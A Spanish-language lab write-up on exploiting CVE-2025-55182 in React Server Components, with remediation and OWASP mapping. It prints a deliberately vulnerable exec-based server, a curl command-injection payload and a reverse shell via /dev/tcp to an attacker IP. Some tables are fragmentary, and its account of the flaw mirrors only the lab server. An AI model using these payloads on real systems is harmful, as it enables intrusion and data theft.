
Investigación de seguridad y análisis de explotación de CVE-2025-55182 (React) — mapeo de CVSS + OWASP Top 10
Análisis de vulnerabilidad de aplicación web · M2 Cybersecurity · 2025 Autor: Niane Mohamed · LinkedIn
Cadena de explotación de extremo a extremo de una vulnerabilidad de deserialización insegura crítica (CVSS 10.0) en React Server Components, desde el reconocimiento hasta la ejecución remota de código no autenticada, con una hoja de ruta completa de remediación.
Esta investigación se dirige a una aplicación de laboratorio deliberadamente vulnerable creada para demostrar el CVE. Todas las pruebas se realizaron en una red virtual aislada, sin conexión con sistemas de producción, datos reales de usuarios ni servicios de terceros.
React Server Components introdujo un nuevo formato de serialización para transmitir componentes renderizados en el servidor al cliente. En las versiones vulnerables, el endpoint RSC acepta una carga útil JSON con un campo cmd que se pasa sin saneamiento a child_process.exec() como parte de la evaluación del renderizado en el servidor.
Un atacante puede enviar una solicitud POST manipulada que:
root en contenedores)| Componente | Rango vulnerable | Corregida en |
|---|---|---|
react | 19.0.0 → 19.2.0 | 19.3.0+ |
Un servidor mínimo Express + RSC que expone un endpoint /rsc y ejecuta de forma insegura los comandos de la carga útil entrante, reproduciendo de forma controlada el patrón de vulnerabilidad del CVE real:
// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.use(express.json({ limit: '2mb' }));
app.post('/rsc', (req, res) => {
const payload = req.body?.payload;
if (typeof payload?.cmd === 'string') {
// VULNERABLE: executes attacker-controlled string
exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: String(err), stderr });
return res.json({ ok: true, out: stdout });
});
}
});
app.listen(3000);
# Port discovery
nmap 192.168.159.131
# → 3000/tcp open ppp (Node.js RSC server)
# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
La cabecera X-Powered-By: Express y el inusual puerto 3000 proporcionan una huella sólida de que se trata de una aplicación Node.js, coherente con los despliegues de RSC.
Antes de intentar nada destructivo, valida la vulnerabilidad con un comando inofensivo:
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "id" } }'
# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
✅ Confirmado: RCE no autenticado como root. El servidor se ejecuta con privilegios sin restricciones.
Pasa de la ejecución de un único comando a una shell interactiva completa:
# Listener on attacker machine
nc -lvnp 4444
# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
El listener recibe:
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)
Con root en el objetivo, un atacante podría trivialmente:
/etc/shadow, claves SSH, secretos de la aplicación, archivos .envLa baja complejidad de este ataque — sin autenticación, sin interacción del usuario, una única solicitud HTTP — lo hace atractivo para:
Actualiza React a 19.3.0+ — versión parcheada
npm update react react-server-dom-webpack react-server-dom-esm
Regla WAF temporal (si la actualización se retrasa):
Block POST requests to /rsc with JSON body containing "cmd" field
Respuesta a incidentes de emergencia:
/rsc| Categoría OWASP | Relevancia |
|---|---|
curl, ingeniería de shell inversa, creación de cargas útilesLicencia MIT — consulta LICENSE
Publicado con fines educativos y de investigación defensiva. Consulta el aviso ético al principio.
Niane Mohamed — Ingeniero de Redes y Seguridad 📍 Nouakchott, Mauritania → buscando oportunidades en Alemania 🇩🇪 📧 [email protected] · 🔗 LinkedIn
| Campo | Valor |
|---|
| CVE | CVE-2025-55182 |
| Clase | Deserialización insegura → Ejecución remota de código |
| CVSS v3.1 | 10.0 (Crítico) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Autenticación requerida | Ninguna |
| Interacción del usuario requerida | Ninguna |
| Vector de ataque | Red (remoto) |
| Componente | Entorno de ejecución de React Server Components (RSC) |
react-server-dom-webpack | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-esm | 19.0.0 → 19.2.0 | 19.3.0+ |
| Rol | SO | Herramientas |
|---|
| Atacante | Kali Linux (última versión) | nmap, curl, netcat, OWASP ZAP, Firefox |
| Objetivo | Ubuntu 22.04.4 | Node.js 18, Express, React 19.0 RSC |
| Red | VMware VMnet Host-Only | Sin salida a Internet |
| Eje | Impacto | Explicación |
|---|
| Confidencialidad | Crítico | Acceso de lectura completo a todos los datos del servidor |
| Integridad | Crítico | Capacidad de modificar el código de la aplicación y los datos de los usuarios |
| Disponibilidad | Alto | El atacante puede terminar el servicio o mantenerlo secuestrado |
| Regulatorio | Grave | Violación del RGPD/DSGVO con obligación de notificación en 72 h · posible multa del 4% de la facturación global |
| Reputacional | Grave | Una brecha pública asociada a un CVE daña la confianza de los clientes |
| Financiero | Alto | Respuesta a incidentes, multas regulatorias, posible demanda colectiva |
| Control | Propósito |
|---|
| Deshabilitar RSC si no se usa | Reducir la superficie de ataque: muchas aplicaciones no necesitan componentes de servidor |
| Validación estricta de entradas | Rechazar cualquier objeto deserializado que contenga claves ejecutables |
| Usuario de contenedor no root | Limitar el radio de impacto si el RCE se repite |
| Sistema de archivos raíz de solo lectura | Prevenir la persistencia y el depósito de binarios |
| Filtrado de salida | Bloquear el tráfico saliente de los servidores de aplicaciones hacia IP arbitrarias |
| Control | Propósito |
|---|
| WAF con análisis de comportamiento | Detectar cargas útiles POST anómalas más allá de las reglas de firmas |
| Protección de aplicaciones en tiempo de ejecución (RASP) | Bloquear llamadas a funciones peligrosas como exec() en tiempo de ejecución |
| SCA en CI/CD | Detectar dependencias vulnerables antes del despliegue (pip-audit, npm audit, Trivy) |
| Cadencia de pruebas de penetración | Anual + tras cada lanzamiento importante |
| Programa de recompensas por errores (bug bounty) | Incentivar la divulgación de white hats antes de que los atacantes encuentren los problemas |
| A03:2021 — Inyección |
| Inyección de comandos a través de entradas deserializadas |
| A08:2021 — Fallos de integridad de software y datos | Deserialización insegura sin verificación de integridad |
| A06:2021 — Componentes vulnerables y desactualizados | Uso de React 19.0-19.2 tras la divulgación |
| A05:2021 — Configuración de seguridad incorrecta | Ejecutar Node.js como root, sin validación de entradas |